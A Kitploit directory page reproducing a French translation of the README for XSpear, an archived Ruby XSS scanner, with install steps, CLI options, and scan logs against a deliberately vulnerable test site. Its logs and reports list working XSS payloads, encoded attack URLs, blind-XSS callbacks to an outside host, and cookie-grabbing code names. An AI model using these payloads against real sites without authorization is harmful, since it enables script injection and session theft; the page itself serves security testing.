Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
XSpear — 🔱 Puissant outil de scan XSS et d'analyse de paramètres & gem | Kitploit
Outils/GitHubGitHub/hahwul/xspear
ReconnaissanceAnalyse StatiqueScanners de VulnérabilitésScanners de Vulnérabilités WebAnalyse Dynamique (Sandboxing)Analyse des VulnérabilitésScripting et AutomatisationCollecte d'InformationsSécurité WebFuzzingTests d'IntrusionArchived
1.4k240il y a 5 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHubhahwul/xspear

XSpear

🔱 Puissant outil de scan XSS et d'analyse de paramètres & gem

Voir le dépôt
Partager

XSpear

XSpear est un scanner XSS sur ruby gems

[!IMPORTANT] Dépôt XSpear archivé

Ce dépôt a été archivé et est maintenant en lecture seule.
XSpear n'est plus activement maintenu.

Essayez plutôt Dalfox 🌙🦊

Un scanner XSS plus rapide et plus puissant avec des fonctionnalités avancées.

→ https://github.com/hahwul/dalfox

Fonctionnalités clés

  • Scan XSS basé sur la correspondance de motifs
  • Détecter les événements alert confirm prompt sur un navigateur sans tête (avec Selenium)
  • Test de la requête/réponse pour le contournement de la protection XSS et des paramètres réfléchis (ou tous)
    • Paramètres réfléchis
    • Tous les paramètres (pour blind XSS, etc.)
    • Test filtré des gestionnaires d'événements balises HTML caractères spéciaux code utile
    • Test de charges utiles personnalisées rien que pour vous !
  • Test de Blind XSS (avec XSS Hunter, ezXSS, HBXSS, etc. tous les tests basés sur une URL aveugle...)
  • Analyse dynamique/statique
    • Trouver les motifs d'erreur SQL
    • Analyse des en-têtes de sécurité (CSP HSTS X-frame-options, XSS-protection etc.)
    • Analyse d'autres en-têtes (version du serveur, Content-Type, etc.)

Installation

Installez-le vous-même avec :

root@kitploit:~
$ gem install XSpear

Ou installez-le vous-même avec (fichier local / télécharger la dernière version) :

root@kitploit:~
$ gem install XSpear-{version}.gem

Ajoutez cette ligne à votre Gemfile d'application :```ruby gem 'XSpear'

root@kitploit:~
Et ensuite exécutez :

    $ bundle

### Gems de dépendances
`colorize` `selenium-webdriver` `terminal-table` `progress_bar`<br>
Si vous l'avez configuré pour qu'il s'installe automatiquement dans la bibliothèque Gem, mais qu'il se comporte anormalement, installez-le avec la commande suivante.```
$ gem install colorize
$ gem install selenium-webdriver
$ gem install terminal-table
$ gem install progress_bar

Utilisation en ligne de commande```

Usage: xspear -u [target] -[options] [value] [ e.g ] $ xspear -u 'https://www.hahwul.com/?q=123' --cookie='role=admin' -v 1 -a $ xspear -u 'http://testphp.vulnweb.com/listproducts.php?cat=123' -v 2 $ xspear -u 'http://testphp.vulnweb.com/listproducts.php?cat=123' -v 0 -o json

[ Options ] -u, --url=target_URL [required] Target Url -d, --data=POST Body [optional] POST Method Body data -a, --test-all-params [optional] test to all params(include not reflected) --no-xss [optional] no testing xss, only parameters analysis --headers=HEADERS [optional] Add HTTP Headers --cookie=COOKIE [optional] Add Cookie --custom-payload=FILENAME [optional] Load custom payload json file --raw=FILENAME [optional] Load raw file(e.g raw_sample.txt) -p, --param=PARAM [optional] Test paramters -b, --BLIND=URL [optional] Add vector of Blind XSS + with XSS Hunter, ezXSS, HBXSS, etc... + e.g : -b https://hahwul.xss.ht -t, --threads=NUMBER [optional] thread , default: 10 -o, --output=FORMAT [optional] Output format (cli , json) -c, --config=FILENAME [optional] Using config.json -v, --verbose=0~3 [optional] Show log depth + v=0 : quite mode(only result) + v=1 : show scanning status(default) + v=2 : show scanning logs + v=3 : show detail log(req/res) -h, --help Prints this help --version Show XSpear version --update Show how to update

root@kitploit:~
### Types de résultats
- (I)NFO : Obtenir des informations (par exemple, erreur SQL, règle filtrée, paramètres reflétés, etc.)
- (V)UNL : XSS vulnérable, alert/prompt/confirm vérifié avec Selenium
- (L)OW : Problème de faible niveau
- (M)EDIUM : Problème de niveau moyen
- (H)IGH : Problème de haut niveau

### Mode verbeux
**[0] mode silencieux (afficher seulement les résultats)**```
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 0
you see report

[1] afficher la barre de progression (par défaut)``` $ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 1 [] analysis request.. [] used test-reflected-params mode(default) [] creating a test query [for reflected 2 param + blind XSS ] [] test query generation is complete. [249 query] [*] starting XSS Scanning. [10 threads]

[#######################################] [249/249] [100.00%] [01:05] [00:00] [ 3.83/s] ... you see report

root@kitploit:~
**[2] afficher les journaux de scan**```
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 2
[*] analysis request..
[I] [22:42:41] [200/OK] [param: cat][Found SQL Error Pattern]
[-] [22:42:41] [200/OK] 'STATIC' not reflected
[-] [22:42:41] [200/OK] 'cat' not reflected <script>alert(45)</script>
[I] [22:42:41] [200/OK] reflected rEfe6[param: cat][reflected parameter]
[*] used test-reflected-params mode(default)
[*] creating a test query [for reflected 2 param + blind XSS ]
[*] test query generation is complete. [249 query]
[*] starting XSS Scanning. [10 threads]
[I] [22:42:43] [200/OK] reflected onhwul=64[param: cat][reflected EHon{any} pattern]
[-] [22:42:54] [200/OK] 'cat' not reflected 
[-] [22:42:54] [200/OK] 'cat' not reflected <svg/onload=alert(45)>
[H] [22:42:54] [200/OK] reflected <script>alert(45)</script>[param: cat][reflected XSS Code]
[V] [22:42:59] [200/OK] found alert/prompt/confirm (45) in selenium!! '"><svg/onload=alert(45)>[param: cat][triggered <svg/onload=alert(45)>]
...
you see report

[3] afficher les journaux de détails d'analyse``` $ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 3 [] analysis request.. [-] [22:56:21] [200/OK] http://testphp.vulnweb.com/listproducts.php?cat=123 in url [ Request ] {"accept-encoding"=>["gzip;q=1.0,deflate;q=0.6,identity;q=0.3"], "accept"=>["/"], "user-agent"=>["Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0"], "connection"=>["keep-alive"], "host"=>["testphp.vulnweb.com"]} [ Response ] {"server"=>["nginx/1.4.1"], "date"=>["Sun, 29 Dec 2019 13:53:23 GMT"], "content-type"=>["text/html"], "transfer-encoding"=>["chunked"], "connection"=>["keep-alive"], "x-powered-by"=>["PHP/5.3.10-1~lucid+2uwsgi2"]} [-] [22:56:21] [200/OK] 'STATIC' not reflected [-] [22:56:21] [200/OK] cat=123rEfe6 in url ... [] used test-reflected-params mode(default) [] creating a test query [for reflected 2 param + blind XSS ] [] test query generation is complete. [249 query] [] starting XSS Scanning. [10 threads] ... [ Request ] {"accept-encoding"=>["gzip;q=1.0,deflate;q=0.6,identity;q=0.3"], "accept"=>["/*"], "user-agent"=>["Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0"], "connection"=>["keep-alive"], "host"=>["testphp.vulnweb.com"]} [ Response ] {"server"=>["nginx/1.4.1"], "date"=>["Sun, 29 Dec 2019 13:54:36 GMT"], "content-type"=>["text/html"], "transfer-encoding"=>["chunked"], "connection"=>["keep-alive"], "x-powered-by"=>["PHP/5.3.10-1~lucid+2uwsgi2"]} [H] [22:57:33] [200/OK] reflected [param: cat][reflected onfocus XSS Code] ... you see report

root@kitploit:~
### Cas par cas
**Analyse XSS**```
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy"

Sortie JSON uniquement``` $ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy" -o json -v 0

root@kitploit:~
**Définir le thread de numérisation**```
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -t 30

Test avec les paramètres sélectionnés``` $ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" -p cat,test

root@kitploit:~
**Test de tous les paramètres**<br>
(Cette option est testée avec ou sans reflection.)```
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" -a

Analyse des paramètres en mode test uniquement (alias no-xss mode)
``` $ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" --no-xss

root@kitploit:~
**Tester blind xss(tous les paramètres)**<br>
(Devrait être utilisé autant que possible car Blind XSS est partout)<br>```
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -b "https://hahwul.xss.ht" -a

# Set your blind xss host. <-b options>

Test de payload personnalisé
``` $ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" --custom-payload=custom_payload.json

root@kitploit:~
dans le fichier custom_payload.json```json
[
  {
    "payload":"<svg/onload=alert(1)>",
    "callback":"P1",
    "descript":"blahblah~"
  },
  {
    "payload":"<svg/onload=alert(1)>",
    "callback":"P2",
    "descript":"blahblah~"
  },
  {
    "payload":"<>",
    "callback":"P1",
    "descript":"blahblah~"
  }
]

pour Pipeline
``` $ xspear -u {target} -b "your-blind-xss-host" -a -v 0 -o json

-u : target

-b : testing blind xss

-a : test all params(test to not reflected param)

-v : verbose, not showing logs at value 1.

-o : output optios, json!

root@kitploit:~
result json data```
{
    "starttime": "2019-12-25 00:02:58 +0900",
    "endtime": "2019-12-25 00:03:31 +0900",
    "issue_count": 25,
    "issue_list": [{
        "id": 0,
        "type": "INFO",
        "issue": "DYNAMIC ANALYSIS",
        "method": "GET",
        "param": "cat",
        "payload": "XsPeaR\"",
        "description": "Found SQL Error Pattern"
    }, {
        "id": 1,
        "type": "INFO",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Found Server: nginx/1.4.1"
    }, {
        "id": 2,
        "type": "INFO",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Not set HSTS"
    }, {
        "id": 3,
        "type": "INFO",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Content-Type: text/html"
    }, {
        "id": 4,
        "type": "LOW",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Not Set X-Frame-Options"
    }, {
        "id": 5,
        "type": "MIDUM",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Not Set CSP"
    }, {
        "id": 6,
        "type": "INFO",
        "issue": "REFLECTED",
        "method": "GET",
        "param": "cat",
        "payload": "rEfe6",
        "description": "reflected parameter"
    }, {
        "id": 7,
        "type": "INFO",
        "issue": "FILERD RULE",
        "method": "GET",
        "param": "cat",
        "payload": "onhwul=64",
        "description": "not filtered event handler on{any} pattern"
    }
....
, {
        "id": 17,
        "type": "HIGH",
        "issue": "XSS",
        "method": "GET",
        "param": "cat",
        "payload": "<audio src onloadstart=alert(45)>",
        "description": "reflected HTML5 XSS Code"
    }, {
        "id": 18,
        "type": "HIGH",
        "issue": "XSS",
        "method": "GET",
        "param": "cat",
        "payload": "<keygen autofocus onfocus=alert(45)>",
        "description": "reflected onfocus XSS Code"
 ....
    }, {
        "id": 24,
        "type": "HIGH",
        "issue": "XSS",
        "method": "GET",
        "param": "cat",
        "payload": "<marquee onstart=alert(45)>",
        "description": "triggered <marquee onstart=alert(45)>"
    }]
}

(Les éléments marqués comme triggered sont en fait des charges utiles qui fonctionnent dans le navigateur.)

XSpear sur Burpsuite
https://github.com/hahwul/XSpear/tree/master/forBurp

etc...

Exemple de journal

Analyse XSS``` xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=z" ) ( ( /( )\ ) )())(()/( ( ) ( (()\ /())` ) ))\ ( /( )( __(()()) /(/( /(())())(()
\ / // |(()\ ()) (() (()

< __ | '_ )/ -_)/ _ || '_| /_/\_\|___/| .__/ \___|\__,_||_| /> |_| \ /< {\\\\\\\\\\\\\BYHAHWUL\\\\\\\\\\\(0):::<======================- / \< \> [ v1.4.0 ] [*] analysis request.. [*] used test-reflected-params mode(default) [*] creating a test query [for reflected 1 param ] [*] test query generation is complete. [251 query] [*] starting XSS Scanning. [10 threads] ...snip... [*] finish scan. the report is being generated.. +----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+ | [ XSpear report ] | | http://testphp.vulnweb.com/listproducts.php?cat=123&zfdfasdf=124fff... (snip) | | 2019-08-14 23:50:34 +0900 ~ 2019-08-14 23:51:07 +0900 Found 24 issues. | +----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+ | NO | TYPE | ISSUE | METHOD | PARAM | PAYLOAD | DESCRIPTION | +----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+ | 0 | INFO | STATIC ANALYSIS | GET | - | <original query> | Found Server: nginx/1.4.1 | | 1 | INFO | STATIC ANALYSIS | GET | - | <original query> | Not set HSTS | | 2 | INFO | STATIC ANALYSIS | GET | - | <original query> | Content-Type: text/html | | 3 | LOW | STATIC ANALYSIS | GET | - | <original query> | Not Set X-Frame-Options | | 4 | MIDUM | STATIC ANALYSIS | GET | - | <original query> | Not Set CSP | | 5 | INFO | DYNAMIC ANALYSIS | GET | cat | XsPeaR" | Found SQL Error Pattern | | 6 | INFO | REFLECTED | GET | cat | rEfe6 | reflected parameter | | 7 | INFO | FILERD RULE | GET | cat | onhwul=64 | not filtered event handler on{any} pattern | | 8 | HIGH | XSS | GET | cat | <script>alert(45)</script> | reflected XSS Code | | 9 | HIGH | XSS | GET | cat | <marquee onstart=alert(45)> | reflected HTML5 XSS Code | | 10 | HIGH | XSS | GET | cat | <details/open/ontoggle="alert45`"> | reflected HTML5 XSS Code | | 11 | HIGH | XSS | GET | cat | | reflected onfocus XSS Code | | 12 | HIGH | XSS | GET | cat | | reflected onfocus XSS Code | | 13 | HIGH | XSS | GET | cat | | reflected onfocus XSS Code | | 14 | HIGH | XSS | GET | cat | <audio src onloadstart=alert(45)> | reflected HTML5 XSS Code | | 15 | HIGH | XSS | GET | cat | <meter onmouseover=alert(45)>0 | reflected HTML5 XSS Code | | 16 | HIGH | XSS | GET | cat | "> | reflected XSS Code | | 17 | HIGH | XSS | GET | cat | <video controls/poster/onerror=alert(45)> | reflected HTML5 XSS Code | | 18 | HIGH | XSS | GET | cat | | reflected onfocus XSS Code | | 19 | VULN | XSS | GET | cat | alert(45) | triggered | | 20 | HIGH | XSS | GET | cat | | triggered | | 21 | HIGH | XSS | GET | cat | <details/open/ontoggle="alert(45)"> | triggered <details/open/ontoggle="alert(45)"> | | 22 | HIGH | XSS | GET | cat | | triggered | | 23 | VULN | XSS | GET | cat | '"><svg/onload=alert(45)> | triggered <svg/onload=alert(45)> | +----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+ < Available Objects > [cat] param

Télécharger l’outil
  • Test XSS sur le chemin URI
  • Test d'analyse des paramètres uniquement (alias mode sans XSS)
  • Scan à partir d'un fichier brut (Burp suite, requête ZAP)
  • XSpear fonctionnant en code Ruby (avec la bibliothèque Gem)
  • Afficher le rapport CLI basé sur un tableau, les règles filtrées, la requête brute de test (url)
  • Test sur des paramètres sélectionnés
  • Formats de sortie pris en charge cli json html
    • cli
    • json
    • html
  • Niveau de verbosité pris en charge (0~3)
    • 0 : mode silencieux (résultats uniquement)
    • 1 : afficher l'état du scan (par défaut)
    • 2 : afficher les journaux du scan
    • 3 : afficher les journaux détaillés (req/res)
  • Prise en charge de code de rappel personnalisé pour tester divers vecteurs d'attaque
  • Prise en charge du fichier de configuration
    • Available Special Char: ` ( \ ' { ) } [ : $ ]
    • Available Event Handler: "onBeforeEditFocus","onAbort","onActivate","onAfterUpdate","onBeforeCopy","onAfterPrint","onBeforeActivate","onBeforeCut","onBeforeDeactivate","onChange","onBeforePrint","onBounce","onBeforeUnload","onCellChange","onBeforePaste","onClick","onBegin","onBlur","onBeforeUpdate","onDataSetChanged","onCut","onDblClick","onCopy","onContextMenu","onDataSetComplete","onDeactivate","onDataAvailable","onControlSelect","onDrag","onDrop","onDragEnd","onEnd","onDragLeave","onDragStart","onDragOver","onDragEnter","onDragDrop","onError","onErrorUpdate","onFinish","onFilterChange","onKeyPress","onHelp","onFocus","onInput","onHashChange","onKeyDown","onFocusIn","onFocusOut","onMessage","onMouseDown","onLoad","onLayoutComplete","onMouseEnter","onLoseCapture","onloadstart","onMediaError","onKeyUp","onMediaComplete","onMouseOver","onMouseWheel","onMove","onMouseMove","onMouseOut","onOffline","onMoveStart","onMouseLeave","onMouseUp","onMoveEnd","onPropertyChange","onOnline","onPause","onPaste","onReadyStateChange","onRedo","onProgress","onPopState","onOutOfSync","onRepeat","onResume","onRowExit","onReset","onResizeEnd","onRowsEnter","onResizeStart","onReverse","onRowDelete","onRowInserted","onResize","onStop","onSeek","onSelect","onSubmit","onStorage","onStart","onScroll","onSelectionChange","onSyncRestored","onSelectStart","onUnload","ontouchstart","onbeforescriptexecute","onTimeError","onURLFlip","ontouchmove","ontouchend","onTrackChange","onUndo","onafterscriptexecute","onpointermove","onpointerleave","onpointerup","onpointerover","onpointerdown","onpointerenter","onloadstart","onloadend","onpointerout"
    • Available HTML Tag: "script","img","embed","video","audio","meta","style","frame","iframe","svg","object","frameset","applet"
    • Available Useful Code: "document.cookie","document.location","window.location"

    < Raw Query > [0] http://testphp.vulnweb.com/listproducts.php?- ..snip.. [19] http://testphp.vulnweb.com/listproducts.php?cat=123%22%3E%3Cscript%3Ealert(45)%3C/script%3E&zfdfasdf=124fffff [20] http://testphp.vulnweb.com/listproducts.php?cat=123%22'%3E%3Cmarquee%20onstart=alert(45)%3E&zfdfasdf=124fffff [21] http://testphp.vulnweb.com/listproducts.php?cat=123%22'%3E%3Cdetails/open/ontoggle=%22alert(45)%22%3E&zfdfasdf=124fffff [22] http://testphp.vulnweb.com/listproducts.php?cat=123%22'%3E%3Caudio%20src%20onloadstart=alert(45)%3E&zfdfasdf=124fffff [23] http://testphp.vulnweb.com/listproducts.php?cat=123'%22%3E%3Csvg/onload=alert(45)%3E&zfdfasdf=124fffff

    ...snip...

    root@kitploit:~
    **vers JSON**```
    $ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123&zfdfasdf=124fffff" -v 1 -o json
    {"starttime":"2019-08-14 23:58:12 +0900","endtime":"2019-08-14 23:58:44 +0900","issue_count":24,"issue_list":[{"id":0,"type":"INFO","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Found Server: nginx/1.4.1"},{"id":1,"type":"INFO","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Not set HSTS"},{"id":2,"type":"INFO","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Content-Type: text/html"},{"id":3,"type":"LOW","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Not Set X-Frame-Options"},{"id":4,"type":"MIDUM","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Not Set CSP"},{"id":5,"type":"INFO","issue":"DYNAMIC ANALYSIS","method":"GET","param":"cat","payload":"XsPeaR\"","description":"Found SQL Error Pattern"},{"id":6,"type":"INFO","issue":"REFLECTED","method":"GET","param":"cat","payload":"rEfe6","description":"reflected parameter"},{"id":7,"type":"INFO","issue":"FILERD RULE","method":"GET","param":"cat","payload":"onhwul=64","description":"not filtered event handler on{any} pattern"},{"id":8,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<script>alert(45)</script>","description":"reflected XSS Code"},{"id":9,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<textarea autofocus onfocus=alert(45)>","description":"reflected onfocus XSS Code"},{"id":10,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<video controls/poster/onerror=alert(45)>","description":"reflected HTML5 XSS Code"},{"id":11,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<audio src onloadstart=alert(45)>","description":"reflected HTML5 XSS Code"},{"id":12,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<details/open/ontoggle=\"alert`45`\">","description":"reflected HTML5 XSS Code"},{"id":13,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<select autofocus onfocus=alert(45)>","description":"reflected onfocus XSS Code"},{"id":14,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<marquee onstart=alert(45)>","description":"reflected HTML5 XSS Code"},{"id":15,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<input autofocus onfocus=alert(45)>","description":"reflected onfocus XSS Code"},{"id":16,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"\">","description":"reflected XSS Code"},{"id":17,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<meter onmouseover=alert(45)>0</meter>","description":"reflected HTML5 XSS Code"},{"id":18,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<keygen autofocus onfocus=alert(45)>","description":"reflected onfocus XSS Code"},{"id":19,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<audio src onloadstart=alert(45)>","description":"triggered <audio src onloadstart=alert(45)>"},{"id":20,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<marquee onstart=alert(45)>","description":"triggered <marquee onstart=alert(45)>"},{"id":21,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<details/open/ontoggle=\"alert(45)\">","description":"triggered <details/open/ontoggle=\"alert(45)\">"},{"id":22,"type":"VULN","issue":"XSS","method":"GET","param":"cat","payload":"<script>alert(45)</script>","description":"triggered <script>alert(45)</script>"},{"id":23,"type":"VULN","issue":"XSS","method":"GET","param":"cat","payload":"'\"><svg/onload=alert(45)>","description":"triggered <svg/onload=alert(45)>"}]}
    

    Utilisation sur du code ruby```ruby

    require 'XSPear'

    Set options

    options = {} options['thread'] = 30 options['cookie'] = "data=123" options['blind'] = "https://hahwul.xss.ht" options['output'] = json

    Create XSpear object with url, options

    s = XspearScan.new "https://www.hahwul.com?target_url", options

    Scanning

    s.run result = s.report.to_json r = JSON.parse result

    root@kitploit:~
    ## Ajouter un module de scan
    **1) Ajouter `makeQueryPattern`**```ruby
    makeQueryPattern('type', 'query,', 'pattern', 'category', "description", "callback funcion")
    # type: f(ilterd?) r(eflected?) x(ss?)
    # category i(nfo) v(uln) l(ow) m(edium) h(igh) 
    
    # e.g 
    # makeQueryPattern('f', 'XsPeaR,', 'XsPeaR,', 'i', "not filtered "+",".blue, CallbackStringMatch)
    

    2) si autre callback, écrire une classe de callback surchargeant ScanCallbackFunc par ex.```ruby class CallbackStringMatch < ScanCallbackFunc def run if @response.body.include? @query [true, "reflected #{@query}"] else [false, "not reflected #{@query}"] end end end

    root@kitploit:~
    Classe parente(ScanCallbackFunc)```ruby
    class ScanCallbackFunc()
        def initialize(url, method, query, response)
          @url = url
          @method = method
          @query = query
          @response = response
          # self.run
        end
        
        def run
          # override
        end
    end
    

    Common Callback Class

    • CallbackXSSSelenium
    • CallbackErrorPatternMatch
    • CallbackCheckHeaders
    • CallbackStringMatch
    • CallbackNotAdded
    • etc...

    Mise à jour

    si utilisateur normal``` $ gem update XSpear

    root@kitploit:~
    si les développeurs (soft)```
    $ git pull -v
    

    si développeurs (difficile)``` $ git reset --hard HEAD; git pull -v

    root@kitploit:~
    ## RubyDoc
    https://www.rubydoc.info/gems/XSpear/
    
    ## Développement
    
    Après avoir cloné le dépôt, exécutez `bin/setup` pour installer les dépendances. Ensuite, lancez `rake spec` pour exécuter les tests. Vous pouvez également utiliser `bin/console` pour un invite de commande interactif qui vous permettra d’expérimenter.
    
    Pour installer cette gemme sur votre machine locale, exécutez `bundle exec rake install`. Pour publier une nouvelle version, mettez à jour le numéro de version dans `version.rb`, puis exécutez `bundle exec rake release`, ce qui créera un tag git pour la version, enverra les commits et tags git, et enverra le fichier `.gem` sur [rubygems.org](https://rubygems.org).
    
    ## Contribution
    
    Les rapports de bugs et les demandes de fusion (pull requests) sont les bienvenus sur GitHub à l’adresse https://github.com/hahwul/XSpear. Ce projet se veut un espace sûr et accueillant pour la collaboration, et les contributeurs sont tenus de respecter le code de conduite du [Contributor Covenant](http://contributor-covenant.org).
    
    ## Faire un don
    
    J’aime le café ! Je suis accro au café.<br>
    <a href="https://www.paypal.me/hahwul"><img src="https://www.paypalobjects.com/digitalassets/c/website/logo/full-text/pp_fc_hl.svg" height="50px"></a>
    <a href="https://www.buymeacoffee.com/hahwul"><img src="https://assets.kitploit.com/production/public/readmes/2747/56bc6586ee8d5a934750957d1d15bf5ac2bb398d3c3bff0a78114df20e89687e.png" alt="Buy Me A Coffee" height="50px"></a>
    
    ## Licence
    
    La gemme est disponible en open source selon les termes de la [licence MIT](https://opensource.org/licenses/MIT).
    
    ## Code de conduite
    
    Toute personne interagissant dans les bases de code, les suivis de problèmes, les salons de discussion et les listes de diffusion du projet XSpear est tenue de respecter le [code de conduite](https://github.com/[USERNAME]/XSpear/blob/master/CODE_OF_CONDUCT.md).
    
    ## Capture d’écran
    < Image de scan >
    <img src="https://assets.kitploit.com/production/public/readmes/2747/9deafaf1aa43fb40a938e5dc3034189761eb5ecae3b2ac22e21cb81c1cc8e357.png" width=100%>
    < Rapport CLI 1 >
    <img src="https://assets.kitploit.com/production/public/readmes/2747/164f66836cb974e247d9a23edea7c9a5ca8231361a410f7940828a27f58aa4ca.png" width=100%>
    < Rapport CLI 2 >
    <img src="https://assets.kitploit.com/production/public/readmes/2747/f8557327e86d61fdd1f5c1e75bb9cc592d878a34cb9f14f5198e1215bce1b6fb.png" width=100%>
    < Rapport JSON >
    <img src="https://assets.kitploit.com/production/public/readmes/2747/e4ca84f8cf446a81d68932e24923fa8c0d1283dc54e92358c81392dc3b69bd3c.png" width=100%>
    < Rapport HTML >
    <img src="https://assets.kitploit.com/production/public/readmes/2747/de6fd664cd2052d6d099141b6943819aae71ef4d6c58890be748595d5a104044.png" width=100%>
    
    ## Vidéo
    [![asciicast](https://asciinema.org/a/290126.svg)](https://asciinema.org/a/290126)